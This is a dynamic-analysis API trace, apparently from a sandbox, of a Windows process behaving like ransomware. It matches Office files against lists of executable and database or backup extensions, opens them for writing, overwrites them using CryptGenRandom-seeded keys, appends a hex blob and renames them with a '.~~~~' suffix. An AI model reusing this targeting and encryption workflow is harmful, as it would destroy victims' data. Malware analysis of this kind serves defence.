	[0136.173] WriteFile (in: hFile=0x108, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x648, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0x648, lpOverlapped=0x0) returned 1
	[0136.173] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0136.173] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.173] WriteFile (in: hFile=0x108, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0136.173] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0136.173] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0136.173] CloseHandle (hObject=0x108) returned 1
	[0136.173] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c51b0
	[0136.173] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgch.vrd"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgch.vrd.~~~~")) returned 1
	[0136.175] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c51b0 | out: hHeap=0x300000) returned 1
	[0136.175] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0136.175] GetLastError () returned 0x0
	[0136.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".scr") returned 0x0
	[0136.176] lstrlenW (lpString=".cmd") returned 4
	[0136.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".cmd") returned 0x0
	[0136.176] lstrlenW (lpString=".dll") returned 4
	[0136.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".dll") returned 0x0
	[0136.176] lstrlenW (lpString=".bat") returned 4
	[0136.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".bat") returned 0x0
	[0136.176] lstrlenW (lpString=".cpl") returned 4
	[0136.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".cpl") returned 0x0
	[0136.176] lstrlenW (lpString=".sys") returned 4
	[0136.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".sys") returned 0x0
	[0136.176] lstrlenW (lpString=".msc") returned 4
	[0136.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".msc") returned 0x0
	[0136.176] lstrlenW (lpString=".com") returned 4
	[0136.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".com") returned 0x0
	[0136.176] lstrlenW (lpString=".lnk") returned 4
	[0136.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".lnk") returned 0x0
	[0136.176] lstrlenW (lpString=".msp") returned 4
	[0136.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".msp") returned 0x0
	[0136.176] lstrlenW (lpString=".pif") returned 4
	[0136.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".pif") returned 0x0
	[0136.176] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0136.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch="msp\r\n.pif") returned 0x0
	[0136.176] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0136.178] lstrlenW (lpString=".sqb") returned 4
	[0136.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".sqb") returned 0x0
	[0136.178] lstrlenW (lpString=".ost") returned 4
	[0136.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".ost") returned 0x0
	[0136.178] lstrlenW (lpString=".txt") returned 4
	[0136.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".txt") returned 0x0
	[0136.178] lstrlenW (lpString=".mdt") returned 4
	[0136.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".mdt") returned 0x0
	[0136.178] lstrlenW (lpString=".BDB") returned 4
	[0136.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".BDB") returned 0x0
	[0136.178] lstrlenW (lpString=".eql") returned 4
	[0136.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".eql") returned 0x0
	[0136.178] lstrlenW (lpString=".DBF") returned 4
	[0136.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".DBF") returned 0x0
	[0136.178] lstrlenW (lpString=".EQL") returned 4
	[0136.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".EQL") returned 0x0
	[0136.178] lstrlenW (lpString=".FDB") returned 4
	[0136.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".FDB") returned 0x0
	[0136.179] lstrlenW (lpString=".EDB") returned 4
	[0136.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".EDB") returned 0x0
	[0136.179] lstrlenW (lpString=".DACPAC") returned 7
	[0136.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".DACPAC") returned 0x0
	[0136.179] lstrlenW (lpString=".VHD") returned 4
	[0136.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".VHD") returned 0x0
	[0136.179] lstrlenW (lpString=".DBV") returned 4
	[0136.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".DBV") returned 0x0
	[0136.179] lstrlenW (lpString=".dacpac") returned 7
	[0136.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".dacpac") returned 0x0
	[0136.179] lstrlenW (lpString=".sdf") returned 4
	[0136.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".sdf") returned 0x0
	[0136.179] lstrlenW (lpString=".accdb") returned 6
	[0136.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".accdb") returned 0x0
	[0136.179] lstrlenW (lpString=".DBX") returned 4
	[0136.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".DBX") returned 0x0
	[0136.179] lstrlenW (lpString=".MDT") returned 4
	[0136.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".MDT") returned 0x0
	[0136.179] lstrlenW (lpString=".SQB") returned 4
	[0136.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".SQB") returned 0x0
	[0136.179] lstrlenW (lpString=".vhd") returned 4
	[0136.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".vhd") returned 0x0
	[0136.179] lstrlenW (lpString=".bac") returned 4
	[0136.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".bac") returned 0x0
	[0136.179] lstrlenW (lpString=".mdf") returned 4
	[0136.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".mdf") returned 0x0
	[0136.179] lstrlenW (lpString=".BAK") returned 4
	[0136.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".BAK") returned 0x0
	[0136.180] lstrlenW (lpString=".BAC") returned 4
	[0136.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".BAC") returned 0x0
	[0136.180] lstrlenW (lpString=".dbs") returned 4
	[0136.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".dbs") returned 0x0
	[0136.180] lstrlenW (lpString=".vhdx") returned 5
	[0136.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".vhdx") returned 0x0
	[0136.180] lstrlenW (lpString=".NDF") returned 4
	[0136.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".NDF") returned 0x0
	[0136.180] lstrlenW (lpString=".dat") returned 4
	[0136.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".dat") returned 0x0
	[0136.180] lstrlenW (lpString=".DBS") returned 4
	[0136.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".DBS") returned 0x0
	[0136.180] lstrlenW (lpString=".CKP") returned 4
	[0136.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".CKP") returned 0x0
	[0136.180] lstrlenW (lpString=".edb") returned 4
	[0136.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".edb") returned 0x0
	[0136.180] lstrlenW (lpString=".PST") returned 4
	[0136.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".PST") returned 0x0
	[0136.180] lstrlenW (lpString=".dbf") returned 4
	[0136.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".dbf") returned 0x0
	[0136.180] lstrlenW (lpString=".SQL") returned 4
	[0136.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".SQL") returned 0x0
	[0136.180] lstrlenW (lpString=".pst") returned 4
	[0136.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".pst") returned 0x0
	[0136.181] lstrlenW (lpString=".dbv") returned 4
	[0136.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".dbv") returned 0x0
	[0136.181] lstrlenW (lpString=".SDF") returned 4
	[0136.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".SDF") returned 0x0
	[0136.181] lstrlenW (lpString=".dtxs") returned 5
	[0136.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".dtxs") returned 0x0
	[0136.181] lstrlenW (lpString=".db3") returned 4
	[0136.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".db3") returned 0x0
	[0136.181] lstrlenW (lpString=".OST") returned 4
	[0136.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".OST") returned 0x0
	[0136.181] lstrlenW (lpString=".dbx") returned 4
	[0136.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".dbx") returned 0x0
	[0136.181] lstrlenW (lpString=".DB3") returned 4
	[0136.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".DB3") returned 0x0
	[0136.181] lstrlenW (lpString=".DAT") returned 4
	[0136.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".DAT") returned 0x0
	[0136.181] lstrlenW (lpString=".VHDX") returned 5
	[0136.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".VHDX") returned 0x0
	[0136.181] lstrlenW (lpString=".ndf") returned 4
	[0136.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".ndf") returned 0x0
	[0136.181] lstrlenW (lpString=".DB") returned 3
	[0136.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".DB") returned 0x0
	[0136.181] lstrlenW (lpString=".sql") returned 4
	[0136.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".sql") returned 0x0
	[0136.182] lstrlenW (lpString=".MYD") returned 4
	[0136.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".MYD") returned 0x0
	[0136.182] lstrlenW (lpString=".DBT") returned 4
	[0136.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".DBT") returned 0x0
	[0136.182] lstrlenW (lpString=".ACCDB") returned 6
	[0136.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".ACCDB") returned 0x0
	[0136.182] lstrlenW (lpString=".fdb") returned 4
	[0136.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".fdb") returned 0x0
	[0136.182] lstrlenW (lpString=".bak") returned 4
	[0136.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".bak") returned 0x0
	[0136.182] lstrlenW (lpString=".myd") returned 4
	[0136.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".myd") returned 0x0
	[0136.182] lstrlenW (lpString=".DTXS") returned 5
	[0136.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".DTXS") returned 0x0
	[0136.182] lstrlenW (lpString=".ckp") returned 4
	[0136.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".ckp") returned 0x0
	[0136.182] lstrlenW (lpString=".dbt") returned 4
	[0136.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".dbt") returned 0x0
	[0136.182] lstrlenW (lpString=".db") returned 3
	[0136.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".db") returned 0x0
	[0136.182] lstrlenW (lpString=".TXT") returned 4
	[0136.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".TXT") returned 0x0
	[0136.182] lstrlenW (lpString=".MDF") returned 4
	[0136.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".MDF") returned 0x0
	[0136.182] lstrlenW (lpString=".bdb") returned 4
	[0136.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".bdb") returned 0x0
	[0136.182] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0136.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0136.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0136.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0136.183] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394f48) returned 1
	[0136.184] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0136.184] CryptReleaseContext (hProv=0x394f48, dwFlags=0x0) returned 1
	[0136.184] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0136.184] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0136.184] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0136.184] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25617420754) returned 1
	[0136.184] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xba9e0430, dwHighDateTime=0x1d60e1e)) 
	[0136.184] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0136.184] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0136.184] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0136.184] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825278
	[0136.184] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0136.184] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825278 | out: hHeap=0x300000) returned 1
	[0136.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0136.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0136.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce188
	[0136.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0136.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c5838
	[0136.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce188 | out: hHeap=0x300000) returned 1
	[0136.185] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0136.185] GetLastError () returned 0x0
	[0136.185] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0136.185] GetLastError () returned 0x0
	[0136.189] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0136.189] WriteFile (in: hFile=0x108, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0136.191] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0136.191] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.191] WriteFile (in: hFile=0x108, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0136.193] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0136.193] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0136.193] CloseHandle (hObject=0x108) returned 1
	[0136.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ce188
	[0136.194] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs.~~~~")) returned 1
	[0136.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce188 | out: hHeap=0x300000) returned 1
	[0136.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0136.196] GetLastError () returned 0x0
	[0136.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".scr") returned 0x0
	[0136.196] lstrlenW (lpString=".cmd") returned 4
	[0136.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".cmd") returned 0x0
	[0136.197] lstrlenW (lpString=".dll") returned 4
	[0136.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".dll") returned 0x0
	[0136.197] lstrlenW (lpString=".bat") returned 4
	[0136.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".bat") returned 0x0
	[0136.197] lstrlenW (lpString=".cpl") returned 4
	[0136.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".cpl") returned 0x0
	[0136.197] lstrlenW (lpString=".sys") returned 4
	[0136.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".sys") returned 0x0
	[0136.197] lstrlenW (lpString=".msc") returned 4
	[0136.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".msc") returned 0x0
	[0136.197] lstrlenW (lpString=".com") returned 4
	[0136.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".com") returned 0x0
	[0136.197] lstrlenW (lpString=".lnk") returned 4
	[0136.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".lnk") returned 0x0
	[0136.197] lstrlenW (lpString=".msp") returned 4
	[0136.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".msp") returned 0x0
	[0136.197] lstrlenW (lpString=".pif") returned 4
	[0136.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".pif") returned 0x0
	[0136.197] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0136.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch="msp\r\n.pif") returned 0x0
	[0136.197] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0136.199] lstrlenW (lpString=".sqb") returned 4
	[0136.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".sqb") returned 0x0
